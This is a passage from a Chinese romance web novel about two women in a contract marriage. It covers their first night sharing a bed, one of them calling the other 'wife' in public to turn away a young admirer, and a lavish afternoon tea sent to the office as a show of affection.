酸甜适口,果味浓郁至极。 当时她就被惊艳到,留下了印象。 姜司意喜欢吃草莓,之前也种过草莓盆栽,结果一盆被虫子咬死了,另一盆好不容易结了两颗果子,一口下去,酸得她终身难忘。 林棘似乎真的是被上天格外优待,连草莓都种的格外好吃。 很久没有晚间吃得这么安逸舒适了。 林棘:“好吃吗?” 姜司意发自肺腑道:“嗯嗯,特别好吃。” 餐桌对面的美丽女人慢条斯理地吃着晚餐,似在享受这一刻。 头顶的两盏吊灯正好照亮了餐桌的区域,照亮了她唇边的一汪笑意。 林棘浅笑道:“那以后记得每晚都回家吃饭。” …… 终究是到了同床共枕的时间点。 姜司意已经洗完澡,穿着从出租屋带来的纯棉分体长裤长袖的睡衣,坐在床上。 投影仪往正前方的幕布上投着新闻,姜司意的注意力却始终难集中在新闻上。 浴室里的水声停了,安静的那段时间里,姜司意心跳轰隆隆的,几乎把新闻的声音都淹没。 一会儿,林棘会穿睡衣出来吧…… 之前放衣服的时候,瞄了眼衣柜,只看到林棘睡衣大概的样子,没敢细品。 姜司意正在做心理准备,浴室的门开了。 林棘吹完长发,带着沐浴露的香味和浅浅的水汽,从拐角处走进姜司意的余光里。 是熟悉的山茶花沐浴乳的香味。 搬家的时候,她看沐浴乳还没用完,就顺便带上了。 沐浴乳自然是会放进浴室里,所以,林棘用了她使用了一半的沐浴乳。 带上和她一样的香味。 尽管没有刻意去看,一片明晃晃的白皙肤色,以及饱满的柔软形态,还是强势地挤进了她的视野之中。 面上正襟危坐且在看新闻的姜司意,实则暗暗揪住了被角。 余光也能看得出来,林棘穿着一件深V真丝睡裙,略收腰的长款,裙摆长至小腿。 也不知道是剪裁实在太显腰身,还是林棘身材太好,热辣的熟女身形呼之欲出。 还是姜司意最喜欢的粉色蕾丝款式。 和这身性感优雅又意外正中姜司意偏好的睡裙相比,在林阿姨家过夜的那款都显得普通了。 极力控制的心跳,在这一刻忽然失序地加速。 反而更认真地盯着新闻屏幕看。 后背紧绷,眼睛都忘了眨。 床垫发出轻微的挤压感,林棘坐到她身边了。 林棘惯用的那款独特的檀香味香水,渗入了姜司意的山茶花沐浴香,混合成了奇异的气息。 像肃穆、压抑又枯燥的古庙之中,忽然荡进了一抹妖冶醉人的异香。 二者不断纠缠、攀附、融合。 我中有你你中有我。 姜司意的思绪已经被那香味弄得恍惚,忽然听到林棘说: “能不能帮我拿一下?” “嗯嗯?” 姜司意应了,脸也侧了过去,但是目光却没有转向身边人,假装那新闻多吸引她,多让人投入。 一个很不自然的斜眼表情。 林棘:“帮我拿一下充电器,在你那侧。” “哦哦。” 姜司意立刻转身帮她拿。 林棘看着她衣领之下露出的半截小翅膀文身,以及又窄又薄的后背,目光沉沉,明目张胆。 充电器到林棘手中,林棘道谢。 姜司意说“不用谢”的时候,眼睛还是没看她。 看似没有任何情绪,其实食指已经不知所措地勾在一起了。 林棘一边给手机充电一边说: “抱歉,我没来得及准备其他的睡衣。” 姜司意:…… 为什么要道歉。 这么一道歉不就让我知道,你看穿我在紧张了吗? 我,表现得有那么明显么? 姜司意维持着最后的体面,端庄又商务地说: “没关系。” 新闻播完,关闭投影仪,该睡觉了。 林棘那头的夜灯开着,她说:“我习惯开灯睡,灯光应该不会照到你那头。如果影响睡眠,记得告诉我。” 姜司意“嗯”了一声。 那盏夜灯完全可以忽略,关掉了投影仪后,整个卧室静谧得能听到彼此的呼吸。 一想到正和林棘躺在同一张床上,还是以妻子的身份同床共枕,姜司意就迟迟找不到睡意。 翻了个身。 偏偏记忆又来添乱。 ——领证了,你做什么都是合法的。 林棘说过的这句话,以及说这句话时的表情,一同涌进姜司意的脑海中。 又翻了个身。 奇怪,中央空调和新风系统都开着,为什么还觉得闷闷的,有点燥热。 一直躺着没有改变过姿势的林棘,忽然转了身,面对姜司意毫无防备的后背。 姜司意脊柱发紧,感觉林棘的气息在无声地逼近。 呼吸都凝滞了,姜司意眼睛一眨不眨地看着不远处的垂坠闭合的窗帘。 身后的女人平缓地问:“睡不着吗?” 说不上是松一口气还是失望,姜司意轻轻“嗯”着。 林棘点了点姜司意小小的耳骨。 “摸耳朵也睡不着吗?” 姜司意回过头,看着单臂撑着脑袋,正侧身看着她的林棘。 这一翻身,距离瞬间被拉得好近。 林棘侧卧着,她平躺着,整个人都被林棘的影子罩住了。 呼吸在暗中互换着。 姜司意又迟缓地“嗯”了一声。 相比与刚才,这次喉咙变得更紧涩了。 林棘将垂落的长卷发别到耳后,将形状漂亮的右耳完全暴露出来。 “那,要摸我的耳朵吗?” 【作者有话说】 林棘:宠妻第十七步,主动和老婆发生肢体接触[垂耳兔头] 46 第46章 ◎“老婆。”◎ 被林棘的话牵引着,姜司意的注意力全都落在那只为她袒露的耳朵上。 昏黄的灯光从另一头照过来,照亮了这一层雪白的、薄薄的皮肉。 软骨有些半透明的质感,像颗甜甜的软糖。 手感看着好好,姜司意的指尖不自禁微动了一下。 林棘那双漂亮的眼睛,缓缓眨动。 在极近的距离下注视着她,邀请着她。 姜司意心里想着“真的可以吗”。 与此同时,手已经抬起,触上林棘的耳朵。 温热光洁,比想象中的还要软。 林棘躺下,身子侧向她,让她更方便地摸到。 不说话,甚至闭上了眼睛。 纤长的手指先是犹豫着,非常有礼貌地轻轻摩挲着她的外耳廓。 在骨脊上抚过,试探般来来回回。 软骨柔韧又有弹性,手感极好。 很想摸摸耳垂,感觉会更好摸,又觉得不是很好意思。 察觉到姜司意的动作一直在耳朵上方徘徊,有些迟疑。 闭着眼的林棘轻声说: “可以试试别的地方。” “别的,地方?” “嗯,哪里都可以。” 姜司意眼波微凝了一刻。 卧室里太安静,咚咚的心跳声填充着整个听觉。 得了允许,手指大胆地往下,轻捻住了林棘的耳垂。 刚刚捏上时耳垂是软软凉凉的,像枚柔软光滑的玉。 感觉林棘的耳垂都比旁人的要冷上几分。 轻揉慢碾间很快升温,渐渐转热。 随着温度的变化,和林棘本人一样冷冷的耳垂,在她手中越来越软热。 熟悉的触感唤起踏实的安全感。 安静的氛围下,舒适的睡意正在慢慢往姜司意的大脑中渗透。 睡着之前,她还在心中默默祈祷,今晚睡相好一些。 不要在同居的第一天就去摸林棘的腿。 不然以后在同一个屋檐下,同一张床上,要怎么再见面…… 呼…… 气息平稳。 姜司意睡着了。 林棘缓缓睁开眼,确定身边的女孩睡得安稳,这才慢慢将她的手从自己的耳朵上撤开。 眷恋地握着,没立刻松开。 耳朵被姜司意弄得酥麻热痒。 林棘活了二十八年,第一次知道耳朵是自己的敏感带。 刚才任姜司意妄为时,有奇异的酥麻感自耳朵往身体里闪动。 很奇怪的感觉,又因为是姜司意给她的,很舒服,很喜欢。 以为耳朵发烫的关系,今晚会睡不着。 没想到因为姜司意的存在,危险的黑暗中竖起无形的屏障,不怀好意的负面情绪被摒除在思绪之外。 甚至什么时候被睡意捕获的都不知道。 上次在零点前顺利入睡是哪天,她已经不记得了。 夜风吹动庭院。 半夜忽然从梦中醒转。 林棘毫无预兆地睁眼,深吸一口气。 梦里的自己耳被封堵,嘴被禁闭,不能听不能说。 眼睁睁地那个女孩背对着她,一步步走远,喉咙里只能发出模糊的低吟。 醒来时,孤独和无助的感觉还浸透心口。 等分清了梦与现实,脑海中涌入白天为姜司意打包行李时的愉悦,为她精心准备晚餐的快乐。 立刻转身,在昏暗之中看见身边的姜司意正熟睡着。 夜灯照亮她侧身起伏的腰肢曲线,像优美的山峦。 熟睡的女孩一双长长的睫毛,如同闭合了翅膀的蝴蝶,安静地停在那儿。 樱粉色的双唇微微张启,饱满的唇珠之后,可爱的白牙若隐若现。 梦中人纯美的睡颜此刻正面对着她。 真真切切,就在眼前。 心口的孤独感被近在咫尺的姜司意,以及她均匀的呼吸,一点点消融在夜色之中。 …… 第二日,姜司意醒来的第一时间立刻往下看。 确定自己的双手很老实地就放在身侧,没有摸不该摸的美腿。 稍微松了一口气。 可惜这口气还没松完,立刻又发现手是老实了,腿却毫无顾忌地架在林棘身上,整个人极其舒展地占领了宽敞的床。 林棘被她挤到床边,几乎是贴着床沿睡的。 姜司意:…… 难怪睡得浑身舒爽,也太肆无忌惮了。 趁着林棘还没醒,悄悄收起胆大妄为的腿,无声无息逃离案发现场…… 这独栋别墅有三层。 按理来说主卧一般都会在二楼,林棘家却是一反常态在一楼。 上面两层还没去看过,不知道是怎么布局的。 姜司意依旧很有外来者的自觉,没林棘允许,就在该待的地方待着,不随便乱跑。 洗手台上方的长方形镜子里,映出女孩垂眸疑惑的脸。 有两个洗手台,一边放着一把电动牙刷。 一把蓝色一把粉色。 林棘总不能自己用两把吧。 那,其中一把是为我准备的? 姜司意思索之时,身后传来脚步声。 林棘走到她身后,细*长的手臂从她肩侧往前伸。 这个动作让她俩的身体几乎贴在一起。 隐约的热度和轮廓轻触姜司意的后背,还未来得及紧绷,林棘已经拿起那支蓝色的牙刷,走到另一边的水池。 “粉色是你的。” 林棘将牙刷头放在感应牙膏罐下方。 牙膏像昨天姜司意玩的冰淇淋机,将一团半透明的晶粉色液体落在牙刷头上,看上去很可口的样子。 只是没人在意那漂亮的牙膏,并肩而立的两人对视,一触即离。 姜司意说了声“谢谢”,拿起牙刷。 嗡嗡声中,睡得一头乱毛的雪球听到姜司意的声音,小小的嘴打着大大的呵欠走过来,伏到她脚边,安逸地晃尾巴。 姜司意刷牙刷得极其认真,目不转睛。 直到林棘漱完口,开始洗脸,姜司意才偷偷瞄她。 嗯嗯嗯,有时间准备狗狗专用沐浴盆和情侣款电动牙刷,却没时间准备保守一些的睡衣。 嗯嗯嗯。 …… 林棘说负责早饭和晚饭,就真的说到做到,早餐也是她自己亲自动手。 吃过早餐,姜司意看了眼时间,有点晚了。 心里第一个想法就是——糟糕,雪球还没遛! 林棘一边将餐盘放到洗碗机里一边说。 “雪球已经在院子里解决过了。” “啊?那……” 按下开始键,把洗碗机门一合,林棘单手撑在台面上,微笑迷人。 “放心,我已经帮它把残留物装进塑料袋里,丢掉了。” 独自生活太久,所有事都要自己处理的姜司意,还没享受过谁在她没开口之前就帮她处理完了大小事。 原来这就是有人兜底的感觉。 “谢谢。”姜司意向她道谢。 林棘一边拿防晒服一边说:“应该的。” 应该的。 姜司意一边出门,脑子里一边不自禁地一直回荡着三个字。 没说“不用谢”,而是说“应该的”。 怎么连随口说的话,都容易让人一再琢磨。 林棘说送她上班,姜司意说“不用”。 “不是步行十五分钟就到了吗,我自己走去就……” “我顺路。” 姜司意:。 好像怎么她都更有道理,怎么都会乖乖顺着她的话走。 今天温度很高,天气预报说有37度。 林棘没将车停在嘉仕比楼下就走,而是直接开进了地库。 嘉仕比所在大厦的地库车很多,转了好几圈才到B1,里面还堵了一会儿。 林棘这个大忙人完全没有任何路怒症,无论前行得有多缓慢,她都情绪稳定地专注开车。 且算好了时间,将姜司意送到了电梯口。 让她从家里到公司,半点太阳都没晒到。 停车时,林棘说:“还有十五分钟,足够你上楼。” 今天的林棘戴着墨镜,一反常态,妆容不再是冷色调,唇色鲜艳,整个人明丽许多。 美得张扬,让人移不开眼。 姜司意目光在她太好看的笑容上滞留了一会儿,忽然意识到自己看得过于直接,立刻收回视线,下车。 “司意。” 姜司意回头。 车里的女人探出脑袋,红唇微启,和她记忆里某个画面重叠了。 多年前她在咖啡厅看到林棘险些撞死竞争对手,留下面积不小的心理阴影。 而这回,同样半敞的车窗,同样长相疏冷的女人,对她说的话却是—— “晚上记得回家吃饭。” “好……” 一个人住惯了,突然同居,生活里多出一个人,姜司意本以为多少需要一点时间来适应。 没想到无需别扭地磨合,就被林棘丝滑地带入了新生活。 而且这房子实在太大,林棘又太安静,两人除了吃饭的时候,在家里想要随机碰个面都不是那么容易。 有时候雪球都得在家里绕上好几圈,才能找到姜司意。 大概也是因为空间上的留白,减缓了生活突变带来的压力。 林雪泊送给她的珠宝从银行保险箱里取出,全部交给了林棘。 林棘则当着她的面,一件件慢悠悠地全部放到展示柜里。 偶尔给她一些日常穿搭小建议时,会让她戴上。 姜司意不好意思戴的时候,林棘就会说:“林女士给你的嫁妆,除了你没人能戴。” 林棘不善言辞,可每次说话都让她无法反驳。 除了那些“嫁妆”,衣帽间的中岛展示柜里,还并排放着一对红钻戒指。 不可能戴着5克拉的红钻戒指去上班,太夸张了,也不方便。 林棘和她想法一致,所以这对一模一样的红钻戒指不约而同出现在展示柜内。 当时换掉红钻戒指的时候,无名指暂时空了。 姜司意看自己的手指,只戴了一个月的饰品,就留下了痕迹。 就从起初不习惯有戒指,变成不习惯没戒指了。 林棘换掉红钻戒指后,很自然地又戴回了素圈。 姜司意送的那对耳环也时不时会佩戴。 “柿柿如意”更是每天都挂在她的手包上。 林棘心甘情愿让姜司意的气息萦绕在自己身上。 姜司意也继续戴着素圈,往返与家和公司之间。 林棘大多数时候会亲自送她,有时候实在没空,姜司意就自己骑共享单车上班。 夏季热归热,去公司这一路都有树荫遮蔽,并不难熬。 这是一段在炙热中迷茫,却惬意愉悦的时光。 独居和工作让她养成了提前准备的好习惯,很少像这样,不去规划前路,只想沉浸在当下斑斓的梦幻泡影中。 八月末的一日。 姜司意要主持一场古董鉴赏主题的讲座,地点位于J城的某大厦二层。 讲座是日常活动,秋拍将近,关于秋拍的广告牌也一同放在门口。 吴经理看着广告牌,问姜司意:“会不会功利心太重了?用你的讲座引流。” 一向最淡然的姜司意都说:“这是工作。” 听她这样说吴经理放心了,也没走,就留在这儿给姜司意镇场。 如果有客户要询问拍卖会的事,她也好一起解答。 今天段凝在主持日常拍卖,没能来,金石玉器部来了其他几位同事。 讲座还有一会儿才开始,吴经理和一位短发的女同事到消防通道这儿透透气。 短发女同事点了根烟,看着玻璃墙外的蓝天浮云,感慨道: “哎——小姜结婚了,太可惜了。” 吴经理不抽烟,就刷手机,一边看看最近集团的动态,一边随口问短发女同事: “有什么遗憾的?你暗恋小姜啊?” “哎?不是,她一结婚,赵咏也不给咱们部门送点心啦。食堂的饭菜又难吃,每天吃午饭都要到外面,这天气热都热死了。” “不会点外卖?” “你有看到那个视频吗,有些店家会把……” “你打住——”吴经理恨不得直接捂住她的嘴,“别说了谢谢你,我一会儿还得吃饭呢。” “好好好,我不说,我也饿死了。话说回来,小姜结婚对象到底是谁啊,吴经理,你也不知道?” 正说着,余光里感觉有人从楼上走下来。 吴经理一边说“知道也不跟你说”,一边随意看了眼。 就这么一眼,跟和林棘对视了。 “吴经理。”林棘礼貌和她打招呼。 原本歪歪斜斜站着的吴经理莫名站直了。 “棘董,这么巧?” “楼上正好有个论坛。” 林棘边说边自然地推开二楼的消防门,走进去。 姜司意的讲座即将开始。 林棘找了个角落的位置坐下。 今天的姜司意穿的是嘉仕比员工制服,夏装,白色的衬衣配深色长裤。 穿在别人身上感觉梦回上世纪八十年代。 姜司意却穿得格外清秀淡雅。 林棘今天参加的论坛就在楼上,没跟姜司意说她会来听讲座,就是怕提前说了让姜司意不自在。 悄悄来,找个最后面不起眼的地方坐下,安静地为她拍拍视频拍拍照。 现在的姜司意应付讲座已经很自如了。 不会再像第一次上台时,紧张到攥拳攥到手指发痛。 偶尔还能和前排的收藏家互动一二。 只是依旧专注,没有发现角落的林棘。 讲座结束,姜司意正在低头收文件的时候,一束艳丽到刺眼的弗洛伊德落于眼前。 姜司意抬眸,和一位漂亮的年轻女孩对视。 “嗨,还记得我吗?” 女孩微微抿着唇,双手抄在上衣口袋里,等待着姜司意的反应。 很难忘记,这女孩除了拥有一头独特的人鱼蓝长发之外,还在姜司意主持的拍卖会上狠狠考验过她临场应变的能力。 当初拍下王太太的寿山石,给外公做生日礼物的千金,沈秒。 玫瑰,抿唇,不自然的腼腆。 这几个元素叠加在一起,让姜司意不好贸然回答她的问题。 “有什么事吗?”姜司意淡笑着回应。 即便有种被四两拨千斤的感觉,沈秒依旧被姜司意太好看太温柔的笑容迷了一下,心跳大乱,深深吸了一口气,才说: “小姜姐姐,上次,很感谢你。能不能和我吃顿饭?我请客,随便吃什么都行。” 沈秒绯红的脸蛋和眼睛里闪出的爱慕之情,让姜司意更确定了她的意思。 强烈的追求信号。 姜司意笑容有点僵。 不怪沈秒不知道姜司意已婚。 毕竟圈子不同,而且她这段时间没在国内。 当初在拍卖会上花了两千四百万拍回去的寿山石,没让过寿的外公开心,还险些把人直接送走。 外公听到这离谱的价格时,差点犯心脏病。 生怕外公再看到她,活不到下个生日,沈家家长迅速送她出国避避风头。 直到前两天外公心情和身体都好转了,她才回来。 所以,作为一个暴发户,一个被发配到国外的J城千金圈圈外人士,刚刚回国的沈秒一心只想着怎么追求到心仪的姐姐,却完全没想过心上人已经结婚。 姜司意用戴着戒指的右手拿起花,还给沈秒。 “谢谢,我不能收。” 没想到沈秒全程都盯着姜司意的脸,完全没发现她右手无名指上的婚戒。 “为什么?”沈秒失望地问。 姜司意:“我结婚了。” 沈秒哑然。 “不可能,上个月我问过你的同事,都说你单身。怎么可能这么快就结婚了?” 姜司意无言以对。 正想着怎样得体但能非常彻底地拒绝正上头的小姑娘。 忽然在人群中看到了林棘。 不知道林棘听到了什么,就那样安静地看着她。 一言不发,姜司意却好像听到了万语千言。 沈秒还要说什么,姜司意只能无礼地打断。 “失陪。” 沈秒的目光,以及在场其他同事、收藏家们的目光,一路跟随着,看着她快步走向人群外。 走到一个比她还高的女人身边,旁若无人地挽住了对方。 两人身体相贴,四目相对,亲密无间。 姜司意凝视着林棘的眼眸,脱口而出: “老婆。” 【作者有话说】 林棘:宠妻第……好像今天被老婆宠了[猫头][猫头][猫头] 47 第47章 ◎吻得深之又深◎ “老婆。” 姜司意此刻的笑容比结婚证上的还要僵硬。 “你怎么来了?” 远处的吴经理眼睛睁圆,身边的短发女同事更是一口珍珠奶茶刚喝进去,险些变成豌豆射手。 林棘已经在她的亲朋、同事的圈子里公开了两人已婚的关系,姜司意倒是觉得自己也没什么好藏。 除了让不信她已婚的女孩知难而退,更重要的是,姜司意不想林棘误会什么。 在婚约内,林棘承诺给她忠诚的伴侣,她也会同样奉还。 可到底这是自己工作的场合,很多同事正在看着她。 而她自己深知这是做戏,在等着林棘的反应,不可能不窘迫。 头皮发麻,手指禁不住地蜷缩。 只希望林棘能配合她…… 他人打量目光,没有落进林棘的视线里。 被“老婆”这个突如其来的称呼撞中胸口,即便知道她是慌不择路,心上也像被某种情绪忽然摩擦,升出了酥酥麻麻的满足感。 握住姜司意的手。 还不够,还要指尖探入指缝里,缓缓伸到她的掌心里进去。 打开她的五指,亲密地十指相扣。 专注又亲密,用行动认下了“老婆”这个称呼。 完全一副独家占有姜司意的姿态。 “我在楼上有个会议,看到了你讲座的宣传就过来了。拍了视频和照片,我老婆今天也这么漂亮。” 不仅配合了,还毫无空隙地交扣着。 温情小意的话更是让人脸红。 姜司意的呼吸被弄得有点乱,尽量控制着表情。 不远处的沈秒看到姜司意挽着且称为“老婆”的那个女人,怎么有点眼熟,又一时想不起来是谁。 上次拍卖会,姜司意帮她解围后,沈秒即便被发配出国,也不耽误她对姜司意念念不忘。 网上姜司意拍卖的视频刷了好几遍。 温润清美的姐姐魅力,刻进了她的大脑,日思夜想非常上头。 回国的第一件事就是确定姜司意的行程,买了花直接杀到讲座。 没想到,居然结婚了。 姜司意年纪轻轻,居然这么早就结婚了。 沈秒从小就美而自知,身边追她的人多到心烦。 从没主动追过谁。姜司意是第一个。 对自己的外在条件非常有自信的沈秒,在心里和姜司意的老婆一对比,从身高到气场,再到气质样貌,居然没有一样胜出……弄得她一时脑子发懵。 “工作结束了吗?” 林棘问姜司意。 “嗯。” “一起回家。” “嗯嗯。” 走到吴经理那边,说讲座结束她先走了。 剩下收尾有专门的同事收,姜司意本来也可以走。 吴经理跟她们挥手拜拜。 两人刚转身,吴经理的袖子就被短发女同事拽了一把。 短发女同事舌头都捋不直了,“我我我是看到棘董了吗?” 吴经理一副风平浪静过来人的模样,“嗯,你没瞎。” 短发女同事:“小姜和棘董?老婆?小姜结婚对象是棘董?哈?” 吴经理淡定喝奶茶,“嗯,你没疯。”。 走入冷气十足的停车场,喧嚣的人声退潮,姜司意的大脑被另一种声音取代。 老婆。 “老婆”这两个她自己说出口的字,变成不同的声量,化为不同颜色的实体字,在她脑海里不断穿梭,循环播放。 是的…… 我叫林棘老婆了。 我刚才真的在那么多人的公开场合这样叫她了。 有些人面上云淡风轻,仿佛什么都没发生,内心深处则是被羞耻感包裹住,精神体越缩越小,最后缩成一小团。 比林棘手包上挂着的“柿柿如意”还小。 这一路姜司意都没说话。 林棘单手撑着下巴,嘴角的笑意时不时漫上来。 可看姜司意闷不吭声,她也没开口。 到家进屋,林棘有些渴,想问姜司意喝点什么饮料。 “姜司意。” 刚回头叫了她的名字,意识到自己居然错口连名带姓。 改成叫“司意”的时间不算长,偶尔叫错也正常。 姜司意却停怔在三步之外。 林棘站在打开的冰箱前,半张脸被冰箱的冷光映亮。 在姜司意的视角中,这片冷光为林棘本就不柔和的五官增添了不近人情的寒意。 加上刚才的直呼其名,压迫感十足。 完全是要姜司意坦白从宽的口吻。 “我和那位沈小姐就在拍卖会上见过一次。” 姜司意突然说。 林棘:? “不,预展上也见过一次,算两次。” 姜司意仔细回忆着。 林棘:。 原来是在解释那个小姑娘的事,怕我在意。 “除此之外,私下完全没联系过。她今天为什么会这么做我也不知道。但,总之……现在知道我结婚了,她应该不会纠缠。” 姜司意脸庞微红,话有些乱,但很认真。 语气里带着点着急的意味。 直视着林棘的眼睛,真诚地解释着。 林棘安静地凝视她片刻,合上冰箱。 走过来,单手撑在她身旁的桌面上。 两人都穿着室内拖鞋。 姜司意那双是从家里带来的卡皮巴拉,林棘穿的是她后来买的姜司意同款。 硬要凑成一对。 十公分的身高差距,让姜司意看眼前的女人时,需要微微抬起眼眸。 有点忐忑,不知道林棘会说什么。 眼睫在不自然地轻颤。 她所有不自然的细节都落在林棘眼里。 喊了一下她的全名,就紧张成这样。 小心翼翼地解释着。 害怕让别人生气,是在漫长压抑的生活里造成的应激。 “司意。” 微凉的指尖点点姜司意的手背。 “知道为什么那个女孩会喜欢你吗?” 姜司意喉咙发紧,不知道该说什么,作何反应才好。 林棘上身慢慢靠近,浓密的眼睫上落着点点碎光,微笑慢慢从眼尾蔓延。 “因为,你就是很容易让人喜欢。” 姜司意紧促的神色,被林棘这句话弄得怔怔。 还以为她会说些自己不知晓的事。 比如沈秒这么做其实另有目的,比如一些商业勾连,比如一些超出想象的幕后牵扯。 是完全没想到的话。 以至于在听到的当下,反应了片刻,才解读出这句话的正确意义。 你就是很容易,让人喜欢。 喜欢。 方才因为尽力解释而微微涨红的脸庞,被另一种情绪引起的红晕取代。 眼神里也藏着讶异,羞赧地微微闪烁着。 看姜司意不着急了,林棘继续慢条斯理地进行帮她解暑的计划。 “草莓汁、西瓜汁还是可乐?草莓汁对吗?” 姜司意:“……对。” 林棘:“放点牛奶?” 姜司意:“好……” 林棘不再浪费时间继续旁人相关的话题,转身去准备姜司意爱喝的饮料了。 这才是正事。 姜司意本该松一口气,心跳却难以归位。 安静地看着林棘的背影,开心,又生怕自己自作多情。 暂时占着林棘妻子的位置,承她的好意,受她的呵护,心动感还在不断加深。 那条规训着自己不能越过的界,正摇摇欲坠。 此地无银般再次告诉自己,不要逾越,不要贪婪,不要上瘾。 你得到的已经够多了。 …… 之后的一段时间,林棘发现除了吃饭睡觉的时间点,她和姜司意总是刚好遇不上。 她在客厅,姜司意在卧室。 她去卧室,姜司意又到图书馆看书。 她跟去图书馆,发现姜司意已经去健身房跑步了。 同一屋檐下,硬生生过出了时差感。 没有证据,但林棘觉得,姜司意有绕着她走的嫌疑。 又绕着走。 怎么还时光倒流了? 林棘有些无奈。 叫了她“老婆”,贴心又可爱地解释自己没有在外沾花惹草之后,居然又开始绕道而行。 就算再可爱,林棘也很想腹诽一句—— 叫完老婆就跑,到底是谁不会谈恋爱?。 樊青度假回来了,晒黑了一些,人还清瘦了几分。 带了点伴手礼送给林棘和姜司意,一些吃的和当地特色小玩意。 姜司意道谢后问她玩得开不开心。 樊青有些一言难尽地支吾着。 本想说“很累”。 可想到乔槿在沙滩伞下看着她淡笑的画面。 想起乔槿把她当朋友,说起一些陈年旧事,感谢小朋友愿意陪她这个无聊的中年女人度假。 似乎只说“累”又不太客观,还有点没良心。 樊青改口道:“累归累,挺开心。” 姜司意沉默了。 最近思想有点糟糕,短短一句话,怎么听出了巨大的信息量? 车依旧开到地下停车场,送姜司意到电梯间门口。 姜司意要上楼时,林棘问她:“下午在公司吗?” “嗯,今天都在。” “好。” “怎么?” 林棘本来是知无不言的,但这几日被冷落,多少有点委屈,改口道: “下午你就知道了。” 要不是姜司意今天忙碌,恐怕真会被林棘一直吊着胃口。 上午吴经理召集全部门开会,继续讨论秋拍主题的事,中午在外面吃完饭回来继续工作。 姜司意去库房的时候,赵咏又来了。 不过,这回他没再给金石玉器部所有人都买一份网红点心。 只自己端着个小蛋糕,走到短发女同事和段凝的工位中间,一口接一口地吃着,边吃边叹气道: “它们家又出新品了,都卖疯了。哎,我本来已经为你们部门预定了十五份,可是她结婚了,如果我再送吃送喝的,那就是我不懂事儿了。别回头弄得人家家里那位误会。你们说是吧?” 正在做PPT的短发女同事,和正在和客户线上交流的段凝,同时斜起眼看他。 赵咏:“所以你们也没口福咯。” 短发女同事:“赵咏,你收了这家店宣传费了?这么卖力宣传。” 段凝的确有点饿,有点想吃点心,可是这赵咏故意来眼馋她,说话还阴阳怪气的招人烦。 段凝心里正在咒赵咏吃一口胖三斤,忽然看见有三个穿着工作服的外卖员,一人拉着一个推车走到嘉仕比的门口,正在和前台说什么。 前台让他们等一下,快步去吴经理办公室里。 吴经理和她一起从办公室里出来,诧异道:“下午茶?我也不知道谁点的啊。” 吴经理走到门口,和外卖员沟通着。 段凝和短发女同事伸长脑袋往外看,怎么个事? 短发女同事眼尖,说:“我去,段凝,你看到外卖袋上的LOGO了吗?好像是云顶餐厅的外卖。” 段凝:“只是有点像吧……怎么可能,云顶的下午茶你知道多少钱一位吗?” 去年云顶下午茶大热的时候,段凝也想去打个卡。 后来看到899一位的价格,直接跑路了。 两人走近一看LOGO,没错,还真是云顶酒店大热的下午茶。 直接给送到嘉仕比金石玉器部的办公室里来了。 还按照她们部门的人数,浩浩荡荡送来了十五人份的量。 几乎每一款点心都有送到。 两人对视一眼,惊愕不已。 哪位老板出手这么阔绰,大手笔啊。 吴经理也懵了,问外卖员:“谁定的?你们那儿有订单吗?” 外卖员拿出订单,吴经理看了眼上面的名字,樊女士。 外卖员解释道:“已经付过钱了。” 听到自己不用付钱,吴经理大大地松了一口气。 “我们部门里没有姓樊的啊。” 段凝听到这个姓,立刻明白了。 “小樊,我认识,棘董的助理。” 棘董的助理订的,那不就等于棘董本人订的吗? 吴经理立刻想到前几天小姜讲座的时候,在消防通道碰到了林棘。 当时口无遮拦说什么小姜结婚了太可惜,吃不到赵咏送的小点心的话,估计都被她听见了。 当时棘董是没什么反应,吴经理都忘了这事儿了。 结果,转头就送来一波云顶的下午茶。 吴经理嘴角抽了抽,惊喜又忐忑。 段凝火速去库房里叫姜司意。 姜司意正戴着口罩和手套,仔细复盘拍品的细节。 段凝小心地接过她手里的拍品,放好,拉她出门。 当姜司意看到云顶下午茶自助人手一份时,也怔住了。 姜司意问段凝:“怎么回事?” 段凝:“你也不知道?你老婆送的。” “我老婆……” 还没习惯这种称呼的姜司意,脑子稍微拐了一下弯,才将这个称呼和林棘对上号。 同事们开开心心向她道谢,已经愉快地吃了一轮了。 赵咏半句话没多说,手里的网红小蛋糕都变得寒碜,很没面子,悄悄离开。 姜司意本来不知道林棘为什么这样做,看到赵咏端着吃一半的小蛋糕走了,心里就有数了。 原来之前问她下午在不在公司,是因为这个。 虽然最近经常自恋,今年份的自恋早就被透支了,姜司意还是控制不住地想—— 这是林棘的占有欲吗? 段凝原本不屑这贵价下午茶,就是炒作,就是消费主义那一套,肯定就是看着好看,未必好吃,才不眼馋。 现在免费吃上了,香软可口的滋味充斥着味觉,好吃得眉毛都快升到头顶。 心里又开始想,真好吃啊,真是贵有贵的道理,味道的确吊打市面上所有花里胡哨的网红甜品,这就是吃人民币的感觉吗? 姜司意结婚对象是林棘这件事,整个部门都知道了。 现在又托她的福,吃上了云顶下午茶。 当初扼腕棘董和部门有缘无分,觉得姜司意“孺子不可教”的同事们,现在又用“孺子怎么这么可教”的眼神欣慰地看着姜司意。 送外卖来的云顶工作人员还逐位登记,看看大家的口味,喜欢哪些,下次多送些来。 吴经理眼角的皱纹都笑出来了,整个金石玉器部都沾了光,开开心心吃吃喝喝。 姜司意的心思却完全没在下午茶上。 林棘越是周全,她心里某个妄念越是要无法遏制。 坐到工位上,缓缓吃着点心,悄悄打开手机,找到幻维五周年时拍的照片。 林棘向拍照的女孩要来之后,姜司意没主动说,林棘还是发给她了。 照片里林棘笑得太迷人。 双指将她的脸放大,再放大。 目光一道道地抚过成熟明艳的五官,舍不得移开。 …… 晚上林棘需要开会,来不及过来接她,姜司意自己骑共享单车回家。 到家后带着雪球在社区里遛。 半圈都还没遛到,雪球就累成狗饼,往地上一趴不想走,非要姜司意抱。 姜司意犟不过它,只能抱着回家。 刚进院子,就看到厨房灯开了。 林棘回来了。 姜司意心不在焉地把雪球爪爪和身上的灰擦干净,进屋。 雪球立刻奔向林棘,开心地在她脚边扭着屁股哼哼,用圆脑袋顶她的腿。 林棘把早上炖了一半的牛尾放到灶台上继续炖,摸摸雪球的脑袋,看向姜司意。 “回来了?” 姜司意避开她的目光,“嗯嗯。” 感觉最近“嗯嗯”的频率变高了。 速速换了拖鞋,在林棘目光暗暗的注视下,往客厅的方向去。 哒哒哒—— 拖鞋有气无力地蹭在地面上。 姜司意揉揉自己的脑袋,懊恼地想,进屋前明明想要好好和林棘打招呼的,可被她一看又有点紧张,再次避开了。 这样下去,林棘该觉得她奇怪了。 进而发现她有非分之想,就更糟了。 